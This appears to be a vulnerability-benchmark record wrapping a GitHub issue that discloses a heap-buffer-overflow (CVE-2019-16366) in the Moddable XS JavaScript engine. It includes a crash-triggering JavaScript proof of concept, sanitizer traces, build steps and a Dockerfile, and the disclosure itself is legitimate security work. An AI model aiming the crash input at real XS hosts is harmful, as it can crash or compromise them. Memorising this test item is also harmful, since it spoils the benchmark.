Project: moddable (moddable-opensource/moddable), language: c++
Vulnerability instance: xs.cve-2019-16366
Sanitizer: address

================= Bug Report (1/1) ==================
## Source: GitHub Issue
## URL: https://github.com/Moddable-OpenSource/moddable/issues/235
## Description:
Issue: Moddable-OpenSource/moddable#235
Title: XS: Heap-Buffer-Overflow 
State: closed
Created by: sunlili
Created at: 2019-07-25 07:08:13+00:00

Issue Body:
Hello,
    We find a heap-buffer-overflow vulnerability in XS 9.0.0, which is reported by Address Sanitizer. We compile and run the xs in linux 64.
    The simplified js code:
```
function opt(arg1, arg2, arg3, arg4, arg5) {
    var sb = [arg2];
    var test_bitor = function() {
        return 0;
    };
    
    var arr = [];
}
obj = {};
count = 0;

(function TestFunc() {
    var a;
    for (let i = 0; i < 1; i++) {
        opt(1.1, {}, {}, 2, {});
    }
    (function outer() {
        count++;
        if (count > 390)
            return;

        (function inner() {
            opt(-5, obj, obj, 10, obj);
            a;
        })();
        
        with(obj) {
            outer();
        }
    })();
})();

let identifier_array = {};

for (let key in identifier_array) {
    let val = identifier_array[key];
}
```

Output of executing './xst -s crash.js'

```
=================================================================
==53071==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7f5e0fee77e0 at pc 0x000000425b7e bp 0x7ffd6ce1c3c0 sp 0x7ffd6ce1c3b0
WRITE of size 8 at 0x7f5e0fee77e0 thread T0
    #0 0x425b7d in fxBeginHost /home/sll/moddable-public/xs/sources/xsAPI.c:1745
    #1 0x5ff493 in fxRunDefine /home/sll/moddable-public/xs/sources/xsRun.c:3826
    #2 0x5dc6e4 in fxRunID /home/sll/moddable-public/xs/sources/xsRun.c:2120
    #3 0x606d8f in fxRunScript /home/sll/moddable-public/xs/sources/xsRun.c:4321
    #4 0x6f9cc5 in fxRunProgramFile /home/sll/moddable-public/xs/tools/xst.c:1320
    #5 0x6eeb20 in main /home/sll/moddable-public/xs/tools/xst.c:264
    #6 0x7f5e0e4f782f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
    #7 0x4138d8 in _start (/home/sll/moddable-public/build/bin/lin/debug/xst+0x4138d8)

0x7f5e0fee77e0 is located 32 bytes to the left of 131072-byte region [0x7f5e0fee7800,0x7f5e0ff07800)
allocated by thread T0 here:
    #0 0x7f5e0ee5f602 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x98602)
    #1 0x570023 in fxAllocateSlots /home/sll/moddable-public/xs/sources/xsPlatforms.c:138
    #2 0x53bb24 in fxAllocate /home/sll/moddable-public/xs/sources/xsMemory.c:160
    #3 0x420c8e in fxCreateMachine /home/sll/moddable-public/xs/sources/xsAPI.c:1309
    #4 0x6edd2b in main /home/sll/moddable-public/xs/tools/xst.c:235
    #5 0x7f5e0e4f782f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)

SUMMARY: AddressSanitizer: heap-buffer-overflow /home/sll/moddable-public/xs/sources/xsAPI.c:1745 fxBeginHost
Shadow bytes around the buggy address:
  0x0fec41fd4ea0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0fec41fd4eb0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0fec41fd4ec0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0fec41fd4ed0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0fec41fd4ee0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x0fec41fd4ef0: fa fa fa fa fa fa fa fa fa fa fa fa[fa]fa fa fa
  0x0fec41fd4f00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0fec41fd4f10: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0fec41fd4f20: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0fec41fd4f30: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0fec41fd4f40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Heap right redzone:      fb
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack partial redzone:   f4
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
==53071==ABORTING
```

According to the report, fxBeginHost() access memory which should not be allowed. You can get the report too, if you compile XS with -fsanitize option, then just run the xst with the js.
Modify xs/makefiles/lin/xst.mk, add " -fsanitize=address" into C_OPTIONS (line 61) and LINK_OPTIONS (line 68), then make it, you will get the xst in /lin/debug which has been instrumented with AddressSanitizer.


Built-in Security Lab
2019.7.25




Comments:
Comment by phoddie on 2019-07-25 18:09:19+00:00:
Thank you for the report. We'll take a look.

---

Comment by sunlili on 2019-09-02 12:02:32+00:00:
Hello, could you help me to request a CVE ID for this vulnerability. I have tried to submit it in https://cveform.mitre.org/, but they didn't response to me. Maybe it will be different to you. As a PhD student, I really need some CVE IDs to prove the effectiveness of my work. Thank you every much.

---

Comment by sunlili on 2019-09-03 15:46:16+00:00:
Hi, can you confirm this vulnerability? I can give more details about how to repeat this vulnerability if you need.

---

Comment by phoddie on 2019-09-03 16:14:21+00:00:
@sunlili - Thanks for the report. Apologies for being slow to reply. We will make some time to investigate this issue. Would you answer one question to help us with that? There are two common ways to run XS and it is not clear from the report which you used. In some cases, an issue will be present in one of these runtime environments but not the other. Are you using `xst` or a Moddable SDK project?

Regard CVE, we have used that for XS vulnerabilities and so are unfamiliar with their administrative process. I'm not sure re-reporting the same issue will help. If there is a step we should take to help move your CVE ID report ahead, please let me know.

---

Comment by phoddie on 2019-09-04 04:32:54+00:00:
Oops - I just noticed that in your report you mention `xst`.

---

Comment by sunlili on 2019-09-04 08:04:22+00:00:
 Here is the details to reproduce the vulnerability.
1. To compile the '**xst**' with '**AddressSanitizer**' on Linux:

    1.1 After downloading the moddable-public source code, you need to modify some makefiles:
(1) Under **moddable-public/xs/makefiles/lin** directory, modify the '**makefile**'.  Adding following line after ".NOTPARALLEL", the "MODDABLE" is assigned to the directory where you save your moddable-public source code. For example:
 ```MODDABLE = /home/sll/moddable-public``` 
(2) Still under **moddable-public/xs/makefiles/lin** directory, modify the "**xst.mk**" file:
Modify **XS_DIR**, changing line 29: ```XS_DIR ?= $(realpath ../..)``` to ```XS_DIR = /home/sll/moddable-public/xs```, specify the directory of moddable-public/xs.
Modify **BUILD_DIR**, changing line 30: ```BUILD_DIR ?= $(realpath ../../../build)``` to ```BUILD_DIR = /home/sll/moddable-public/build```, specify the directory of moddable-public/build.
Modify **C_OPTIONS**, changing line 58: add "-fsanitize=address" at the end of the line, like following:
```    C_OPTIONS += -g -O0 -Wall -Wextra -Wno-missing-field-initializers -Wno-unused-parameter -fsanitize=address```
Modify **LINK_OPTIONS** changing line 65: add "-fsanitize=address" at the end of the line, like following:
```LINK_OPTIONS = -rdynamic -fsanitize=address```

    1.2 run "**make**" under same directory, you can see output like following: 
```
make -f xst.mk
make[1]: Entering directory '/home/sll/moddable-public/xs/makefiles/lin'
# xst debug : cc xsAll.c
# xst debug : cc xsAPI.c
# xst debug : cc xsArguments.c
# xst debug : cc xsArray.c
# xst debug : cc xsAtomics.c
# xst debug : cc xsBigInt.c

...

# xst release : cc scanner.c
# xst release : cc writer.c
# xst release : cc xst.c
# xst release : cc xst
make[1]: Leaving directory '/home/sll/moddable-public/xs/makefiles/lin'
```
Then, you will get the binary of **xst** which instrumented with AddressSanitizer under "**~/moddable-public/build/bin/lin/debug**"

2. Run the script, and reproduce the crash:
    2.1 Executing "**./xst -s crash.js**", you will see the crash report. AddressSanitizer give the details about the crash, such as the context and memory status.
```
=================================================================
==1606==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7fead47637e0 at pc 0x000000425b7e bp 0x7ffea33e5930 sp 0x7ffea33e5920
WRITE of size 8 at 0x7fead47637e0 thread T0
    #0 0x425b7d in fxBeginHost /home/sll/moddable-public/xs/sources/xsAPI.c:1745
    #1 0x5ff493 in fxRunDefine /home/sll/moddable-public/xs/sources/xsRun.c:3826
    #2 0x5dc6e4 in fxRunID /home/sll/moddable-public/xs/sources/xsRun.c:2120
    #3 0x606d8f in fxRunScript /home/sll/moddable-public/xs/sources/xsRun.c:4321
    #4 0x6f9cc5 in fxRunProgramFile /home/sll/moddable-public/xs/tools/xst.c:1320
    #5 0x6eeb20 in main /home/sll/moddable-public/xs/tools/xst.c:264
    #6 0x7fead2d7382f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
    #7 0x4138d8 in _start (/home/sll/moddable-public/build/bin/lin/debug/xst+0x4138d8)

0x7fead47637e0 is located 32 bytes to the left of 131072-byte region [0x7fead4763800,0x7fead4783800)
allocated by thread T0 here:
    #0 0x7fead36db602 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x98602)
    #1 0x570023 in fxAllocateSlots /home/sll/moddable-public/xs/sources/xsPlatforms.c:138
    #2 0x53bb24 in fxAllocate /home/sll/moddable-public/xs/sources/xsMemory.c:160
    #3 0x420c8e in fxCreateMachine /home/sll/moddable-public/xs/sources/xsAPI.c:1309
    #4 0x6edd2b in main /home/sll/moddable-public/xs/tools/xst.c:235
    #5 0x7fead2d7382f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)

SUMMARY: AddressSanitizer: heap-buffer-overflow /home/sll/moddable-public/xs/sources/xsAPI.c:1745 fxBeginHost
Shadow bytes around the buggy address:
  0x0ffdda8e46a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0ffdda8e46b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0ffdda8e46c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0ffdda8e46d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0ffdda8e46e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x0ffdda8e46f0: fa fa fa fa fa fa fa fa fa fa fa fa[fa]fa fa fa
  0x0ffdda8e4700: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0ffdda8e4710: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0ffdda8e4720: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0ffdda8e4730: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0ffdda8e4740: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Heap right redzone:      fb
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack partial redzone:   f4
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
==1606==ABORTING
```

3. You can also compile the **xst** **without** AddressSanitizer, just do 
    3.1 **Not** modify "**C_OPTIONS**" and "**LINK_OPTIONS**" in **xst.mk**, 
    3.2 `rm -rf ~/moddable-public/build/bin ~/moddable-public/build/tmp`, **remember do this!**
    3.3 make xst and run the crash.js script, the xst still crash, the output is like following: 
```
undefined
*** Error in `./xst': free(): invalid pointer: 0x0000000001f3e600 ***
======= Backtrace: =========
/lib/x86_64-linux-gnu/libc.so.6(+0x777e5)[0x7f85a6ae47e5]
/lib/x86_64-linux-gnu/libc.so.6(+0x8037a)[0x7f85a6aed37a]
/lib/x86_64-linux-gnu/libc.so.6(cfree+0x4c)[0x7f85a6af153c]
./xst(fxFreeSlots+0x1c)[0x494954]
./xst(fxFree+0xf8)[0x483d49]
./xst(fxDeleteMachine+0x151)[0x418edd]
./xst(main+0xb58)[0x5209c5]
/lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf0)[0x7f85a6a8d830]
./xst(_start+0x29)[0x412fd9]
======= Memory map: ========
00400000-00550000 r-xp 00000000 08:05 136579531                          /home/sll/moddable-public/build/bin/lin/debug/xst
00750000-00751000 r--p 00150000 08:05 136579531                          /home/sll/moddable-public/build/bin/lin/debug/xst
00751000-00752000 rw-p 00151000 08:05 136579531                          /home/sll/moddable-public/build/bin/lin/debug/xst
01f3e000-01f97000 rw-p 00000000 00:00 0                                  [heap]
7f859c000000-7f859c021000 rw-p 00000000 00:00 0 
7f859c021000-7f85a0000000 ---p 00000000 00:00 0 
7f85a2854000-7f85a286b000 r-xp 00000000 08:03 22549138                   /lib/x86_64-linux-gnu/libgcc_s.so.1
7f85a286b000-7f85a2a6a000 ---p 00017000 08:03 22549138                   /lib/x86_64-linux-gnu/libgcc_s.so.1
7f85a2a6a000-7f85a2a6b000 r--p 00016000 08:03 22549138                   /lib/x86_64-linux-gnu/libgcc_s.so.1
7f85a2a6b000-7f85a2a6c000 rw-p 00017000 08:03 22549138                   /lib/x86_64-linux-gnu/libgcc_s.so.1
7f85a2a6c000-7f85a6a6d000 rw-p 00000000 00:00 0 
7f85a6a6d000-7f85a6c2d000 r-xp 00000000 08:03 22544577                   /lib/x86_64-linux-gnu/libc-2.23.so
7f85a6c2d000-7f85a6e2d000 ---p 001c0000 08:03 22544577                   /lib/x86_64-linux-gnu/libc-2.23.so
7f85a6e2d000-7f85a6e31000 r--p 001c0000 08:03 22544577                   /lib/x86_64-linux-gnu/libc-2.23.so
7f85a6e31000-7f85a6e33000 rw-p 001c4000 08:03 22544577                   /lib/x86_64-linux-gnu/libc-2.23.so
7f85a6e33000-7f85a6e37000 rw-p 00000000 00:00 0 
7f85a6e37000-7f85a6e4f000 r-xp 00000000 08:03 22544561                   /lib/x86_64-linux-gnu/libpthread-2.23.so
7f85a6e4f000-7f85a704e000 ---p 00018000 08:03 22544561                   /lib/x86_64-linux-gnu/libpthread-2.23.so
7f85a704e000-7f85a704f000 r--p 00017000 08:03 22544561                   /lib/x86_64-linux-gnu/libpthread-2.23.so
7f85a704f000-7f85a7050000 rw-p 00018000 08:03 22544561                   /lib/x86_64-linux-gnu/libpthread-2.23.so
7f85a7050000-7f85a7054000 rw-p 00000000 00:00 0 
7f85a7054000-7f85a715c000 r-xp 00000000 08:03 22544582                   /lib/x86_64-linux-gnu/libm-2.23.so
7f85a715c000-7f85a735b000 ---p 00108000 08:03 22544582                   /lib/x86_64-linux-gnu/libm-2.23.so
7f85a735b000-7f85a735c000 r--p 00107000 08:03 22544582                   /lib/x86_64-linux-gnu/libm-2.23.so
7f85a735c000-7f85a735d000 rw-p 00108000 08:03 22544582                   /lib/x86_64-linux-gnu/libm-2.23.so
7f85a735d000-7f85a7383000 r-xp 00000000 08:03 22544560                   /lib/x86_64-linux-gnu/ld-2.23.so
7f85a7548000-7f85a754d000 rw-p 00000000 00:00 0 
7f85a754d000-7f85a7582000 r--s 00000000 08:03 9447542                    /var/cache/nscd/hosts
7f85a7582000-7f85a7583000 r--p 00025000 08:03 22544560                   /lib/x86_64-linux-gnu/ld-2.23.so
7f85a7583000-7f85a7584000 rw-p 00026000 08:03 22544560                   /lib/x86_64-linux-gnu/ld-2.23.so
7f85a7584000-7f85a7585000 rw-p 00000000 00:00 0 
7ffce725d000-7ffce727e000 rw-p 00000000 00:00 0                          [stack]
7ffce72d0000-7ffce72d3000 r--p 00000000 00:00 0                          [vvar]
7ffce72d3000-7ffce72d5000 r-xp 00000000 00:00 0                          [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0                  [vsyscall]
Aborted (core dumped)
```


---

Comment by sunlili on 2019-09-15 09:58:50+00:00:
Hi, heap over flow is a serious vulnerability. It can be exploited to read and write arbitrary process memory and hijack the control flow, so you should fix the vulnerability as soon as possible.

---

Comment by mkellner on 2019-09-23 22:38:06+00:00:
Hello.
I have not been able to reproduce your results. Perhaps something has been fixed since this was reported?

'$ xst -s ./crash.js
undefined`

If I run xsbug first, and use the debug version of xst, then xsbug reports a `stack overflow (-1)!`

'$ xsbug &
$ $MODDABLE/build/bin/lin/debug/xst -s ./crash.js`

![image](https://user-images.githubusercontent.com/32498429/65467948-94964180-de17-11e9-9ece-c64269e7bce3.png)

I note no output from *AddressSanitizer* in either case.


---

Comment by phoddie on 2019-09-23 23:14:04+00:00:
> ..heap over flow is a serious vulnerability. It can be exploited to read and write arbitrary process memory and hijack the control flow, so you should fix the vulnerability as soon as possible

Yes, this can be a serious vulnerability in some circumstances. But, only when the host is open to running arbitrary scripts. That is the case in a browser. The current deployments using XS are sealed systems often without a script interpreter. As such, they are immune to such an exploit.

That said, we take such reports seriously. Unfortunately, we have been unable to reproduce this report on macOS or Linux when using the Address Sanitizer.


---

Comment by sunlili on 2019-09-24 10:37:59+00:00:
I download the latest XS source code, which is version 9.0.1, and the crash indeed can not reproduce any more. It seems like the vulnerability has been fixed in the new version. That's great!

Build script:
#!/bin/bash -eu
# Minimized build script with only core build commands
set -eu
export MODDABLE=$PWD
make -f xst.mk clean -j$(nproc)

Dockerfile:
FROM hwiwonlee/secb.base:latest
RUN apt update && apt install -yqq npm libjpeg-dev zlib1g-dev libyaml-dev
RUN git clone https://github.com/moddable-opensource/moddable moddable
RUN git -C moddable checkout c87b3326497f4bbdab7c3e3d8a2c9fd8d1fc0805
WORKDIR $SRC/moddable
COPY build.sh $SRC/

Additional files: